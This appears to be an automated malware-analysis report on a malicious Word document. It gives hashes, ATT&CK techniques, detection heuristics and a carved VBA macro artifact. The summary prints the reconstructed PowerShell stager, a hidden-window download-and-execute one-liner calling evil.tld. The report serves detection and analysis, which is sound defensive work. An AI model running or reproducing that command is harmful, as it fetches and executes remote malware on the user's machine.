Office (OLE) / .DOC malware analysis — malicious · b5be7bb2f5a521f8

MALICIOUS

Office (OLE) / .DOC

154.3 KB Created: 2020-09-15 04:19:00 Authoring application: Microsoft Office Word

MD5: d4eb931d97a7ae1aa727f68d32763920 SHA-1: 807182407c85efe5880aacfa21043e487b7871c8 SHA-256: b5be7bb2f5a521f8ec0417e9f4da3c9f919f688a9a2c089b1503e1bab24e3eff

300 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is a malicious Office document containing VBA macros. A critical heuristic identified an obfuscated PowerShell stager within a UserForm, specifically using an EncodedCommand. The Document_Open macro is present and calls CreateObject, indicating execution upon opening. The reconstructed PowerShell command is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.tld/payload')"', which downloads and executes a second-stage payload from a remote URL. This indicates a downloader attack pattern.

Heuristics 8

Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL

OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
ClamAV: Doc.Malware.Ewlu-9762397-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Ewlu-9762397-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `262eaa2cfabe15c408f9ed0f71f3e80b6e1636570aa2563811ecb34f68c15392`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22860 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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